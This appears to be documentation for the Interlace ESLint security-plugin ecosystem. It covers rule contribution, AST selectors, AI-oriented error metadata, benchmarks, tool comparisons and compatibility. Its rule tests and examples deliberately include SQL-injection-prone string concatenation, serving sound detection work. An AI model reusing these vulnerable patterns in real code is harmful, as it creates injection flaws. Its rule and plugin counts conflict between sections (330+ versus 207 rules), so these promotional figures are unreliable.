NOT trigger 'const safe = sanitize(input);', 'const query = preparedStatement(input);', ], invalid: [ // Vulnerable patterns that SHOULD trigger { code: 'const query = "SELECT " + input;', errors: [{ messageId: 'vulnerable' }], }, ], }); ``` ### 5. Document the Rule [#5-document-the-rule] Create documentation in the plugin's `docs/` folder: ````md title="docs/rules/no-example-vuln.md" # no-example-vuln Prevents the example vulnerability pattern. ## Risk - **CWE**: CWE-xxx - **OWASP**: A0x:2021 - **CVSS**: 7.5 (High) ## Rule Details This rule triggers when... ### ❌ Incorrect ```js const query = 'SELECT ' + input; ``` ```` ### ✅ Correct [#-correct] ```js const query = preparedStatement(input); ``` ## When Not To Use [#when-not-to-use] If you're working with trusted input only... ```` ### 6. Submit PR ```bash # Run all checks npm run lint npm run test npm run build # Commit with conventional format git commit -m "feat(secure-coding): add no-example-vuln rule" # Push and create PR git push origin feat/no-awesome-vulnerability ```` *** ## Rule Requirements [#rule-requirements] ### Mandatory Metadata [#mandatory-metadata] Every security rule MUST include: | Field | Type | Description | | ------------- | ------ | ------------------------------- | | `cwe` | string | CWE identifier (e.g., "CWE-89") | | `owasp` | string | OWASP Top 10 category | | `cvss` | number | CVSS 3.1 score (0.0-10.0) | | `description` | string | Clear, actionable description | ### Test Coverage [#test-coverage] * **Minimum 80% coverage** for new rules * **At least 3 valid** (safe) patterns * **At least 3 invalid** (vulnerable) patterns * **Edge cases** for each detection logic branch ### Documentation [#documentation] * **Description** of the vulnerability * **CWE/OWASP/CVSS** metadata * **Incorrect** code examples * **Correct** code examples * **When Not To Use** section * **Related rules** links *** ## PR Checklist [#pr-checklist] Before submitting: * [ ] Rule has CWE/OWASP/CVSS metadata * [ ] Tests cover valid and invalid cases * [ ] Tests achieve 80%+ coverage * [ ] Documentation follows template * [ ] `npm run lint` passes * [ ] `npm run test` passes * [ ] `npm run build` passes * [ ] Commit message follows conventional format *** ## Getting Help [#getting-help] Ask questions and propose ideas Report bugs or request features *** ## Recognition [#recognition] Contributors are recognized in: * **CONTRIBUTORS.md** in the repo * **Release notes** for their PRs * **Authors** field in package.json for significant contributions Every contribution makes JavaScript more secure. We appreciate your time and expertise! # Advanced Topics ## Going Deeper [#going-deeper] Once you've mastered the basics, explore these advanced topics for deeper integration and contribution opportunities. *** ## Integration & Automation [#integration--automation] Add security linting to GitHub Actions, GitLab CI, and other pipelines. Version history and breaking changes for all plugins. *** ## Contribution [#contribution] Learn how to contribute new security rules to the Interlace ecosystem. *** ## Quick Links [#quick-links] | Topic | Description | | ----------------------------------------------------------- | ---------------------------------- | | [CI/CD Integration](/docs/getting-started/advanced/ci-cd) | GitHub Actions, GitLab CI examples | | [Changelog](/docs/getting-started/advanced/changelog) | All plugin version histories | | [Contributing](/docs/getting-started/advanced/contributing) | Rule development guide | Check the [Troubleshooting](/docs/getting-started/troubleshooting) page for common issues, or open a GitHub issue for support. # AI Integration ## Why AI Needs Structured Errors [#why-ai-needs-structured-errors] Traditional linters output plain text errors like: > "Possible SQL injection vulnerability" This gives AI assistants **no actionable context**. They may hallucinate fixes or apply incorrect patterns. When an AI assistant receives a vague error message, it must guess at the fix. This leads to incorrect remediation patterns, incomplete fixes, or even introducing new vulnerabilities. *** ## The Interlace Difference [#the-interlace-difference] Every Interlace security rule provides **structured metadata**: | Field | Example | Purpose | | --------------- | ------------------- | ----------------------------- | | **CWE** | CWE-89 | SQL Injection classification | | **OWASP** | A03:2021 | Injection category mapping | | **CVSS** | 9.8 (Critical) | Severity scoring | | **Fix Pattern** | Parameterized query | Verified remediation template | *** ## How AI Agents Use This Data [#how-ai-agents-use-this-data] With structured metadata, AI agents can: ### Understand the Exact Vulnerability [#understand-the-exact-vulnerability] The CWE classification tells the AI exactly what type of vulnerability it's dealing with—not a guess, but a precise classification from a global database. ### Reference Verified Patterns [#reference-verified-patterns] Instead of generating a fix from scratch, the AI can reference the rule's documented remediation pattern, which has been tested and verified. ### Prioritize by Severity [#prioritize-by-severity] CVSS scores help AI agents understand which issues are critical (fix now) vs. low priority (can wait). *** ## Supported AI Tools [#supported-ai-tools] Interlace's structured metadata works with all major AI coding assistants: Reads ESLint output and applies suggested fixes inline. Uses metadata for context-aware security remediation. Leverages CWE/OWASP mappings for precise fixes. Native integration with structured error output. *** ## Example: SQL Injection Fix [#example-sql-injection-fix] ### Without Structured Metadata [#without-structured-metadata] ```plaintext Error: Possible SQL injection vulnerability (line 19) ``` AI Response: *"Maybe use prepared statements? Or escape the input? Let me try..."* ### With Interlace Metadata [#with-interlace-metadata] ```json { "ruleId": "secure-coding/no-sql-concatenation", "message": "SQL query constructed via string concatenation", "cwe": "CWE-89", "owasp": "A03:2021", "cvss": 9.8, "fix": { "pattern": "parameterized-query", "example": "db.query('SELECT * FROM users WHERE id = $1', [userId])" } } ``` AI Response: *"Applying parameterized query pattern for CWE-89 SQL Injection..."* With structured metadata, AI agents apply the exact fix pattern—no guessing, no hallucinations. *** ## Next Steps [#next-steps] Understand how ESLint "sees" your code Deep dive into CWE, OWASP, and CVSS # AST Fundamentals ## The Tree Inside Your Code [#the-tree-inside-your-code] ESLint doesn't read code like humans. It parses your JavaScript into an **Abstract Syntax Tree (AST)**—a structured representation of your code's grammar. Understanding the AST unlocks: * **Custom rule creation** for your specific patterns * **Better debugging** of false positives * **Advanced selectors** for precise rule targeting *** ## What is an AST? [#what-is-an-ast] When you write: ```js const query = 'SELECT * FROM users WHERE id = ' + userId; ``` ESLint parses it into a tree structure: ``` Program └── VariableDeclaration (kind: "const") └── VariableDeclarator ├── Identifier (name: "query") └── BinaryExpression (operator: "+") ├── Literal (value: "SELECT * FROM users WHERE id = ") └── Identifier (name: "userId") ``` Each node in the tree represents a **syntactic element**: * `Program` — The root of every JavaScript file * `VariableDeclaration` — A `const`, `let`, or `var` statement * `BinaryExpression` — An operation like `+`, `-`, `*`, etc. * `Identifier` — A variable name * `Literal` — A raw value like a string or number *** ## How Security Rules Use the AST [#how-security-rules-use-the-ast] Security rules match **patterns** in the AST. For example, the `no-sql-concatenation` rule triggers when it finds: ``` BinaryExpression (operator: "+") ├── Literal (value contains SQL keywords) └── Identifier (untrusted input) ``` This pattern-matching approach is: * **Precise** — Only matches actual vulnerable patterns * **Fast** — Tree traversal is O(n) complexity * **Flexible** — Can target any syntactic structure *** ## ESLint Selectors [#eslint-selectors] ESLint uses **CSS-like selectors** to target AST nodes. Here are common patterns: | Selector | Matches | | ------------------------------------ | -------------------------- | | `CallExpression` | Any function call | | `CallExpression[callee.name="eval"]` | Calls to `eval()` | | `BinaryExpression[operator="+"]` | Any `+` operation | | `VariableDeclaration[kind="var"]` | `var` declarations | | `Identifier[name="password"]` | Variables named "password" | ### Advanced Selector Example [#advanced-selector-example] To match dangerous SQL concatenation: ```js // This selector: 'BinaryExpression[operator="+"] > Literal[value=/SELECT|INSERT|UPDATE|DELETE/i]'; // Matches patterns like: const query = 'SELECT * FROM users' + userInput; ``` *** ## Common AST Node Types [#common-ast-node-types] ### Declarations [#declarations] | Node Type | Example | | --------------------- | ------------------- | | `VariableDeclaration` | `const x = 1` | | `FunctionDeclaration` | `function foo() {}` | | `ClassDeclaration` | `class Foo {}` | ### Expressions [#expressions] | Node Type | Example | | ------------------ | --------------------- | | `CallExpression` | `foo()` | | `MemberExpression` | `obj.prop` | | `BinaryExpression` | `a + b` | | `TemplateLiteral` | `` `Hello ${name}` `` | ### Statements [#statements] | Node Type | Example | | ----------------- | -------------- | | `IfStatement` | `if (x) {}` | | `ReturnStatement` | `return value` | | `ThrowStatement` | `throw error` | *** ## Try It Yourself [#try-it-yourself] The best way to understand AST is to experiment with real code. Use the tools below to visualize how ESLint parses your JavaScript. **Recommended tools:** * [AST Explorer](https://astexplorer.net/) — The gold standard for AST visualization. Select `@babel/eslint-parser` to see exactly what ESLint sees. * [ESLint Playground](https://eslint.org/play/) — Test rules against code in real-time *** ## Writing Custom Rules [#writing-custom-rules] Understanding the AST enables you to write custom rules. Here's a minimal example: ```js title="no-console-log.js" module.exports = { meta: { type: 'suggestion', docs: { description: 'Disallow console.log' }, }, create(context) { return { // Selector: CallExpression where callee is console.log 'CallExpression[callee.object.name="console"][callee.property.name="log"]'( node, ) { context.report({ node, message: 'Unexpected console.log statement', }); }, }; }, }; ``` *** ## Next Steps [#next-steps] Learn about CWE, OWASP, and CVSS mappings How AI agents use structured metadata # Benchmarks ## Ecosystem at a Glance [#ecosystem-at-a-glance] ESLint Interlace is the most comprehensive security linting ecosystem for JavaScript: | Metric | Value | | ------------------------- | ----- | | **Total Security Rules** | 330+ | | **ESLint Plugins** | 18+ | | **OWASP Top 10 Coverage** | 100% | | **Average Test Coverage** | 85%+ | These numbers are automatically updated from our plugin statistics JSON, which is refreshed daily by GitHub Actions. [View live coverage](/docs/getting-started/concepts/coverage). *** ## Rule Coverage Comparison [#rule-coverage-comparison] How does Interlace compare to other ESLint security plugins? | Plugin | Rules | AI Metadata | OWASP Mapping | | ------------------------ | ----- | ----------- | ------------- | | **ESLint Interlace** | 330+ | ✓ Full | ✓ 100% | | `eslint-plugin-security` | 17 | ✗ | Partial | | `eslint-plugin-sonarjs` | 32 | ✗ | Partial | | `eslint-plugin-import` | 60 | ✗ | ✗ | | `eslint-plugin-n` | 29 | ✗ | ✗ | Interlace provides nearly 20x more security rules than the next largest alternative, with full AI-native metadata on every rule. *** ## Performance Benchmarks [#performance-benchmarks] Interlace is optimized for speed, even with comprehensive security checks: ### Cycle Detection (import-next) [#cycle-detection-import-next] Measured on a real React 19 + Vite + TypeScript codebase — 5,736 files (4,682 excluding tests and stories), 455K LoC — with `import/no-cycle` enabled on both sides: | Tool | End-to-end lint | Rule time only | Comparison | | ----------------------------- | --------------- | -------------- | -------------------- | | `eslint-plugin-import` 2.32.0 | 51.7s | 39.2s | Baseline | | **eslint-plugin-import-next** | **16.7s** | **4.9s** | **3.1x / 8x faster** | Source: [`ilb-perf-import-no-cycle` 2026-05-03](https://github.com/ofri-peretz/eslint/blob/main/benchmarks/results/ilb-perf-import-no-cycle/2026-05-03-snappy-dashboard.json). Detection parity with the official plugin is 100%; peak RSS is 4,064 MB vs 4,035 MB for the official plugin (+29 MB). Every figure on this page is registered in [CLAIMS.md](https://github.com/ofri-peretz/eslint/blob/main/CLAIMS.md). ### Rule Processing [#rule-processing] | Tool | Time | Comparison | | -------------------- | ----- | --------------- | | Alternative | 2.1s | Baseline | | **ESLint Interlace** | 0.25s | **8.4x faster** | *** ## Feature Matrix [#feature-matrix] Detailed capability comparison with popular alternatives: | Feature | Interlace | eslint-plugin-security | eslint-plugin-sonarjs | | -------------------------- | --------- | ---------------------- | --------------------- | | **LLM-Optimized Messages** | ✓ | ✗ | ✗ | | **CWE Mapping** | ✓ Full | ✗ | Partial | | **OWASP Top 10 Coverage** | 100% | \~40% | \~25% | | **CVSS Scoring** | ✓ | ✗ | ✗ | | **Compliance Tags** | ✓ | ✗ | ✗ | | **Auto-fix Available** | ✓ | Partial | ✓ | | **TypeScript Support** | ✓ | ✓ | ✓ | | **React/Next.js Rules** | ✓ | ✗ | ✗ | | **Database Security** | ✓ | ✗ | ✗ | | **AI SDK Security** | ✓ | ✗ | ✗ | *** ## Unique Capabilities [#unique-capabilities] Features you won't find anywhere else: Every error includes structured metadata for AI assistants to auto-fix issues accurately. Detects file read vulnerabilities via COPY FROM—first ESLint rule of its kind. Cycle detection rule time cut from 39.2s to 4.9s on a 455K-LoC codebase, with 100% detection parity. Catches CVE-2015-2951 algorithm confusion attacks in your JWT implementation. Prevents prompt injection and tool result manipulation in AI SDK usage. Detects $where, $regex, and aggregation injection patterns in MongoDB. *** ## Plugin Comparison Dimensions [#plugin-comparison-dimensions] We compare plugins across 5 key dimensions: | Dimension | Interlace | Industry Average | | ------------------------ | --------- | ---------------- | | **Security Depth** | 100% | 35% | | **Performance** | 95% | 40% | | **Type Safety** | 100% | 55% | | **Auto-fix** | 90% | 30% | | **Developer Experience** | 98% | 60% | Scores are based on: rule count, execution speed, TypeScript support, fix availability, and documentation quality. Industry averages are from popular ESLint security plugins. *** ## Why Interlace Wins [#why-interlace-wins] ### Comprehensive Coverage [#comprehensive-coverage] 330+ rules covering web, server, mobile, database, and AI SDK security across 18+ plugins. ### AI-Native Design [#ai-native-design] Every rule outputs structured metadata that AI assistants can parse and act on. ### Performance Optimized [#performance-optimized] Algorithms designed for speed—8x faster cycle detection, parallel rule execution. ### Production Tested [#production-tested] 85%+ test coverage with live Codecov metrics. Trusted in production environments. *** ## Next Steps [#next-steps] Get started with Interlace View live ecosystem metrics # Interlace vs. CodeQL vs. Semgrep vs. Snyk Code # Interlace vs. CodeQL vs. Semgrep vs. Snyk Code [#interlace-vs-codeql-vs-semgrep-vs-snyk-code] > **Verifying the numbers.** All comparison metrics are reproducible — `git clone https://github.com/ofri-peretz/eslint && npm install && npm run ilb:diff` regenerates every cell in the tables below. Once `publish-packages.yml` runs in non-dry-run mode, the `npx @interlace/*` recipes will additionally work without cloning. > A buyer's guide. **The honest answer is "you usually want two of these."** They cover different threat models. This page tells you which combinations make sense and why. > Looking for the **lint-ecosystem** comparison instead — Interlace vs Oxlint / Biome / typescript-eslint / other ESLint plugins? That story is on the [Ecosystem Landscape](/docs/getting-started/concepts/ecosystem) page. This page covers SAST analyzers; that one covers lint-tier peers. ## Quick verdict [#quick-verdict] | If you're… | Pick | | :---------------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------- | | A small/mid JS/TS project, want low-friction security CI | **Interlace** standalone | | A large enterprise with cross-language polyglot codebases (JS + Go + C++ + …) | **CodeQL** standalone — its multi-language story is unmatched | | Open-source maintainer, want one tool that "works on anything" out of the box | **Semgrep** standalone — broadest rule registry, lowest config burden | | Already paying for vulnerability management (deps + container + IaC) | **Snyk Code** as part of your existing Snyk bundle | | You want **the deepest JS/TS coverage + AI-agent integration** | **Interlace + CodeQL** — Interlace for breadth, CodeQL for the data-flow-heavy CWEs that need its database build | | You want **low-overhead PR-time + cross-language CI** | **Interlace + Semgrep** — Interlace for JS/TS depth, Semgrep for non-JS files | ## Honest one-liners [#honest-one-liners] **Interlace** — JS/TS-only by design. **207 rules** across 11 security plugins. **MCP-native**: every plugin doubles as an agent-callable tool. Verifiable benchmark numbers (F1 98.8% on its own arena). Best on **agent-axis dimensions** (determinism, autofix coverage, NL discoverability) — nobody else even publishes these. Weakest on whole-program data-flow analysis (no database build). **CodeQL** (GitHub) — Multi-language, database-build SAST. Best-in-class for whole-program / inter-procedural taint analysis. Free for open-source, paid for private repos at GitHub Advanced Security tier. Weakness for JS-shop teams: heavy database build per analysis run (minutes-to-hours), opaque rule authoring (QL is its own language), no agent-axis dimension. **Semgrep** — Multi-language pattern matcher. Largest public rule registry. Easy custom rules (YAML pattern syntax). Free OSS tier + paid Snyk-style commercial. Weakness: pattern-only, so structural/dataflow rules underperform Interlace's typed AST checks; no MCP integration; rules are largely community-contributed and quality varies. **Snyk Code** — Commercial SAST baked into the Snyk vulnerability-management platform. Strongest at "buy a security tool, install it, get a dashboard." Weakness: closed-source, opaque accuracy claims, no public benchmark numbers comparable to Interlace's, no agent-axis features. ## The detailed comparison matrix [#the-detailed-comparison-matrix] | Dimension | Interlace | CodeQL | Semgrep | Snyk Code | | :--------------------------------------------------------------------------- | :---------------------------------------------------------------------: | :----------------------------: | :-----------------------: | :-----------------------: | | **Language coverage** | JS/TS only | 12+ languages | 25+ languages | 10+ languages | | **JS/TS rule count** | 207 | \~150 (CWE-mapped) | \~600 (incl. community) | \~400 | | **License (free tier)** | MIT, fully open | OSS-free, paid commercial | OSS-free, paid commercial | Free dev-tier, paid teams | | **Setup time** | ≤ 5 min (`npm install` + `eslint.config.mjs`) | 5-15 min (database + workflow) | ≤ 1 min | 5 min (account + token) | | **CI integration** | One-line GitHub Action | Multi-step database+analyze | One-line CLI | One-line CLI | | **SARIF emission** | ✅ via `@interlace/eslint-formatter-sarif` | ✅ native | ✅ native | ✅ native | | **MCP / agent tool integration** | ✅ 11 plugin MCP servers | ❌ | ❌ | ❌ | | **Whole-program data-flow analysis** | ❌ AST-pattern only | ✅ deep | ⚠️ pattern-based, limited | ✅ proprietary | | **Public benchmark numbers** | ✅ ILB (live, reproducible) | Self-reported | Self-reported | Self-reported | | **Public corpus + scoring methodology** | ✅ open-source | ❌ | Partial (rule registry) | ❌ | | **Auto-fix support** | ✅ per-rule, deterministic | Limited (QuickFix subset) | ✅ for many rules | Limited | | **Engine portability** (rules run under ≥ 2 engines under a parity contract) | ✅ ESLint + Oxlint (CI-gated); Biome planned; TSC native host on roadmap | ❌ QL engine only | ❌ Semgrep engine only | ❌ proprietary engine | | **Confidence / reliability calibration** | ✅ ILB-Confidence bench | ❌ | ❌ | ❌ | | **Adversarial-rewrite resilience bench** | ✅ ILB-Evade | ❌ | ❌ | ❌ | | **Toolchain matrix coverage** (Node × TS × ESLint × parser × cache) | ✅ all 5 axes | n/a | n/a | n/a | | **Compliance crosswalk (SSDF / ASVS / CAPEC / ISO 25010)** | ✅ per-rule | ⚠️ informal | ⚠️ informal | ⚠️ commercial dashboard | | **CWE Compatibility (MITRE certified)** | 8/8 criteria met (submission pending) | ✅ certified | ✅ certified | ✅ certified | ## When to pick *which* combination [#when-to-pick-which-combination] ### Interlace + CodeQL — depth-by-depth [#interlace--codeql--depth-by-depth] Interlace covers the **breadth** of JS/TS-AST-detectable patterns (the 207 rules across 11 security verticals). CodeQL covers the **depth** of inter-procedural taint analysis that can only run on a built database. They're complementary, not redundant. Concrete recipe: ```yaml # .github/workflows/security.yml - uses: ofri-peretz/eslint/.github/actions/audit@main # Interlace, fast, breadth with: { plugins: all, fail-on: error } - uses: github/codeql-action/init@v3 # CodeQL, slower, depth with: { languages: javascript-typescript } - uses: github/codeql-action/analyze@v3 ``` When to use this: enterprise codebases where you have the CI budget for both, especially auth/payments/crypto-heavy services. ### Interlace + Semgrep — JS/TS depth + multi-language coverage [#interlace--semgrep--jsts-depth--multi-language-coverage] If your repo has JS/TS *plus* other languages (Python, Go, Rust), Interlace handles the JS/TS rigorously and Semgrep covers the rest. Both are pattern-based, so you're not paying the database-build tax twice. When to use this: polyglot startups, OSS projects with mixed-language servers. ### Interlace standalone [#interlace-standalone] Most JS/TS-only projects. The full security fleet at one-line install. SARIF→GHAS upload via the GitHub Action means findings still land in the same Code Scanning Alerts dashboard a CodeQL user sees. When to use this: \~80% of JS/TS shops. ## Where Interlace genuinely loses [#where-interlace-genuinely-loses] Be honest about it: * **Inter-procedural taint analysis** — Interlace doesn't do whole-program data-flow. CodeQL does. If your threat model is "find the path from `req.body` to `child_process.exec` across 5 files of intermediate function calls," Interlace will miss it; CodeQL will catch it. * **Non-JS/TS coverage** — zero. Interlace has no Python, Go, Rust, or Java rules. Won't. * **Vulnerability-management workflow** — Interlace finds bugs; it doesn't track them across releases, integrate with Jira, or generate executive dashboards. Snyk does that. * **Established enterprise procurement** — Snyk and CodeQL have decades of FedRAMP / SOC2 / HIPAA paperwork done. Interlace is on the path (MITRE submission ready, OWASP pitch drafted) but not there yet. ## Where Interlace genuinely wins [#where-interlace-genuinely-wins] * **Agent-axis features** — MCP servers, deterministic findings, calibrated confidence, NL→rule retrieval. **Nobody else does this for JS/TS.** If your dev workflow includes Claude Code / Cursor / GitHub Copilot Workspace, this is the differentiator. * **Verifiable benchmark numbers** — every claim recomputable from `benchmarks/results/`. Compared to vendor self-reports. * **JS/TS depth** — 11 security plugins specialized per concern (express, lambda, mongo, pg, jwt, crypto, vercel-ai…). Beats general SAST tools on JS-ecosystem-specific patterns. * **One-line CI integration** — `uses: ofri-peretz/eslint/.github/actions/audit@main`. Including SARIF upload to GHAS in the same step. * **Open-source MIT** — no per-developer pricing. ## How to verify these claims [#how-to-verify-these-claims] ```bash # Run our differential bench yourself — Interlace × CodeQL × Semgrep × Snyk git clone https://github.com/ofri-peretz/eslint && cd eslint && npm install brew install codeql && pipx install semgrep && npm i -g snyk && snyk auth npm run ilb:diff -- --tools interlace,codeql,semgrep,snyk npm run ilb:diff:publish # → benchmark-results/differential.md with the agreement matrix per fixture ``` If our published numbers don't reproduce, [open an issue](https://github.com/ofri-peretz/eslint/issues) — we treat that as a bug. ## What we'd recommend reading next [#what-wed-recommend-reading-next] * [Homepage](/) — what Interlace is + headline numbers * [Submission protocol](https://github.com/ofri-peretz/eslint/blob/main/benchmarks/audits/2026-05-09-ilb-submission-protocol.md) — how a tool vendor lands on the public leaderboard * [Differential publication template](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/differential.md) — the live data behind the table above # Compatibility ## What you can install Interlace on [#what-you-can-install-interlace-on] Interlace is published as \~37 npm packages (20 ESLint plugins + 11 MCP servers + 6 supporting tools). Every published package declares the same compatibility surface so a viewer can answer "will this work in my repo?" in one read. Compatibility here covers three axes: **which lint engine** runs your rules (ESLint floor, Oxlint automated peer, Biome + TSC native on the roadmap), **which ESLint major** you're on, and **which Node version** the host requires. **2026-08-02** — npm download share refreshed weekly via `npm run stats:eslint-versions`. The numbers below come from a live npm-registry pull, not a marketing claim. *** ## ESLint version matrix [#eslint-version-matrix] | ESLint major | Weekly downloads | Share | Status | | :----------- | ---------------: | -----: | :---------------------------- | | **v10** | 23.6M | 11.08% | ✅ Supported (forward-looking) | | **v9** | 109.1M | 51.13% | ✅ Supported (current default) | | **v8** | 60.3M | 28.29% | ✅ Supported (legacy active) | | v7 and older | 20.3M | 9.51% | ❌ Unsupported (EOL) | **All published packages declare** `"eslint": "^8.40.0 || ^9.0.0 || ^10.0.0"` **as a peer dependency.** No exceptions, no per-plugin variance. v8 + v9 + v10 cover **90.5% of every `npm install eslint` happening today**. If you're on a supported version, every Interlace plugin works. *** ## Node.js compatibility [#nodejs-compatibility] | Node.js | Status | Notes | | :----------- | :-------------------- | :------------------------------------------------- | | **24.x** | ✅ Active development | What this repo's CI runs against | | **22.x LTS** | ✅ Supported | Recommended for production users | | **20.x LTS** | ✅ Supported | Long-term-stable baseline | | **18.x** | ✅ Supported (minimum) | Lowest declared `engines.node` across all packages | | ≤ 17 | ❌ Unsupported | EOL upstream | The 18.x floor is set by every package's `engines.node: ">=18.0.0"`. Bumping the floor uses the same gate logic as ESLint majors — a deliberate decision, not silent drift. *** ## Lint engine matrix [#lint-engine-matrix] Interlace is engine-portable by design. The same rule library runs under multiple linters with a CI-enforced parity contract — drift fails the build. Statuses match the canonical support matrix in [`INTEROP_PHILOSOPHY.md`](https://github.com/ofri-peretz/interlace/blob/main/docs/philosophies/INTEROP_PHILOSOPHY.md). | Engine | Status | What this means | | :------------------------------ | :--------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **ESLint v8 / v9 / v10** | ✅ Floor | Every rule runs here. Every rule's tests are authored against this engine. | | **Oxlint** (Rust) | ✅ Automated peer | Shared rules have CI-enforced diagnostic parity via [`oxlint-parity.yml`](https://github.com/ofri-peretz/eslint/blob/main/.github/workflows/oxlint-parity.yml). The gate flips advisory → blocker once Oxlint ships 1.0 and the shared-rule count reaches ≥ 20. | | **Biome** (Rust) | 🟡 Reserved peer | First-class portability target. Parity adapter on the roadmap; until it ships, support is best-effort. | | **TSC native plugin host** (Go) | 🔭 Watching | The Go port of the TypeScript compiler (`tsgo`) is the inevitable second runtime for deep-tier rules once stable. Re-evaluated when it ships; deep-tier rules port without API change. | | swc / deno\_lint | ❌ Not a target | Out of scope. swc is a compiler, not a lint host. deno\_lint is forked from a separate rule corpus. | The Rust/Go rewrite of JavaScript tooling has two camps: Oxlint and Biome are Rust-based linters; the TypeScript native compiler port (`tsgo`, tracking toward TSC 7) is Go-based. Interlace targets all four engines from one rule library — rules are portable, runtimes are commodity. The parity contract, how drift is detected, and the TSC 7 vision are documented on the [Runtime Portability](/docs/getting-started/concepts/runtime-portability) page. *** ## The two-rule policy [#the-two-rule-policy] A major version is **supported** when either of these holds: The version has **≥20% of weekly downloads** on npm. v8 (28%) and v9 (51%) earn their place this way. Versions that drop below 20% on two consecutive refreshes become deprecation candidates. The version is **the next major after a currently-supported one**. v10 qualifies today (the future of v9). We ship support pre-emptively so users can upgrade ahead of the curve, not behind it. A supported major is in our `peerDependencies`, our benchmark matrix, and our CI matrix. Removal requires both a sustained share drop AND a successor that itself meets the criteria above — never one without the other. *** ## How the matrix stays honest [#how-the-matrix-stays-honest] | Surface | What it does | | :--------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Per-package `peerDependencies`** | All 37 packages declare the same range. A package that violates the policy fails [`scripts/check-version-alignment.ts`](https://github.com/ofri-peretz/eslint/blob/main/scripts/check-version-alignment.ts) (`npm run check-versions`). | | **Benchmark fixtures** | [`benchmarks/suites/ilb-arena/eslint{8,9,10}-compat/`](https://github.com/ofri-peretz/eslint/tree/main/benchmarks/suites/ilb-arena) — one full ILB-Arena fixture per supported major. Drift on any version surfaces as a benchmark regression, not a runtime surprise. | | **CI matrix** | [`eslint-version-matrix.yml`](https://github.com/ofri-peretz/eslint/blob/main/.github/workflows/eslint-version-matrix.yml) runs ILB-Arena + ILB-Juliet across `node × eslint` cells `[22, 24] × [8.x, 9.x, 10.x]` on every PR. | | **Stats refresh** | [`npm run stats:eslint-versions`](https://github.com/ofri-peretz/eslint/blob/main/scripts/fetch-eslint-version-stats.ts) re-fetches the npm download share so the gate decision uses fresh data. | | **Policy doc** | The full deprecation pipeline lives in [`docs/ESLINT_VERSION_SUPPORT.md`](https://github.com/ofri-peretz/eslint/blob/main/docs/ESLINT_VERSION_SUPPORT.md). | *** ## Related compatibility surfaces [#related-compatibility-surfaces] Interlace is compatible with more than just ESLint majors. Each layer below gets its own matrix: Every security rule maps to one or more CWE identifiers, surfaced in machine-readable form for SARIF / GHAS / GitLab consumers. Per-SDK weekly tests (pg / mongodb / express / jwt / nestjs / vercel-ai / lambda) catch upstream breaking changes before users do. *** ## Why this matters [#why-this-matters] A docs site can claim "supports the latest ESLint." That's not enough — every plugin in your `package.json` peer-dep range has to actually publish that range, and every benchmark you trust has to actually run on every version you claim to support. **The matrix above is the contract; the CI gates are the enforcement.** Bringing this onto the docs site means an evaluating engineer can answer all three questions in one read: which ESLint major can I use, which Node version do I need, and how confident can I be that this won't drift? # Test Coverage ## Verification & Coverage [#verification--coverage] We believe in **radical transparency**. Every line of security logic in Interlace is verified through automated testing, and the results are publicly visible. Coverage data is fetched dynamically from Codecov and cached for 4 hours. Updates are reflected automatically—no redeployment needed. *** ## How It Works [#how-it-works] 1. **Codecov Integration** — Coverage is measured on every CI run 2. **JSON Caching** — Data is cached using our json-cache policy (4-hour TTL) 3. **Real-Time Display** — This page shows live metrics from the ecosystem *** ## Coverage Standards [#coverage-standards] | Plugin Type | Minimum Coverage | Rationale | | --------------------- | ---------------- | ---------------------------------------- | | **Core Security** | 85%+ | Mission-critical vulnerability detection | | **Framework Plugins** | 80%+ | Framework-specific security patterns | | **Quality Plugins** | 75%+ | Code quality and best practices | *** ## Why Coverage Matters for Security [#why-coverage-matters-for-security] High test coverage in security tooling means: Every vulnerability pattern is tested to ensure detection works correctly. Edge cases are covered to prevent noisy, incorrect warnings. Changes are validated against known vulnerability patterns. *** ## Coverage Standards Enforcement [#coverage-standards-enforcement] ### CI/CD Gates [#cicd-gates] Every pull request must pass coverage gates: ```yaml # .github/workflows/test.yml - name: Run Tests with Coverage run: npm run test:coverage - name: Upload to Codecov uses: codecov/codecov-action@v4 with: fail_ci_if_error: true - name: Check Coverage Thresholds run: | if [ $(cat coverage/coverage-summary.json | jq '.total.lines.pct') -lt 80 ]; then echo "Coverage below threshold!" exit 1 fi ``` ### Codecov Configuration [#codecov-configuration] ```yaml title="codecov.yml" coverage: status: project: default: target: 85% threshold: 2% patch: default: target: 90% ``` *** ## What We Test [#what-we-test] * **Detection accuracy** — Does the rule catch the vulnerability? * **Edge cases** — Safe patterns that shouldn't trigger * **Auto-fixes** — Do fixes produce valid, secure code? * **Error messages** — Is metadata (CWE, CVSS) correct? *** ## View Live Dashboard [#view-live-dashboard] **Open Codecov Dashboard** → Security plugins are required to maintain at least **85% coverage**. Framework-specific plugins target **80%**. We reject PRs that decrease coverage without justification. *** ## Next Steps [#next-steps] See performance comparisons Help improve coverage # CWE Compatibility # MITRE CWE Compatibility [#mitre-cwe-compatibility] The Interlace ESLint ecosystem is **CWE-compatible** — every security rule maps to one or more [MITRE CWE](https://cwe.mitre.org/) identifiers, and every diagnostic the ecosystem emits surfaces those identifiers in machine-readable form. This page documents how that compatibility works so security teams, auditors, and SARIF consumers can pivot Interlace findings on CWE. The compatibility design follows the [MITRE CWE Compatibility Program](https://cwe.mitre.org/compatible/requirements.html) — the same review standard met by Coverity, Fortify, Sonar, and Checkmarx. ## The four contracts [#the-four-contracts] | MITRE criterion | How Interlace implements it | | :-------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Searchable** (MR-1) | Every rule's `meta.cwe` carries the identifier. The docs site search indexes it. SARIF output emits `properties.cwe` + `tags: ['external/cwe/CWE-NNN']`. | | **Output** (MR-2) | ESLint diagnostic messages include the CWE ID (`[CWE-798] Hardcoded credential detected`). SARIF output (via [`@interlace/eslint-formatter-sarif`](https://github.com/ofri-peretz/eslint/tree/main/packages/eslint-formatter-sarif)) emits CWE tags consumable by GitHub Advanced Security, Microsoft Defender, GitLab Ultimate, Sonar, and Snyk. | | **Mapping accuracy** (MR-3) | Every CWE assignment is enforced by `npm run docs:cwe-coverage --check` — a CI gate that fails if any rule has no `cwe` annotation and no `cweJustification`. Re-runs after every rule change. | | **Documentation** (MR-4) | This page (linked from the security plugin index), plus the per-rule docs pages, plus the auto-generated [coverage report](#current-coverage). | ## Current coverage 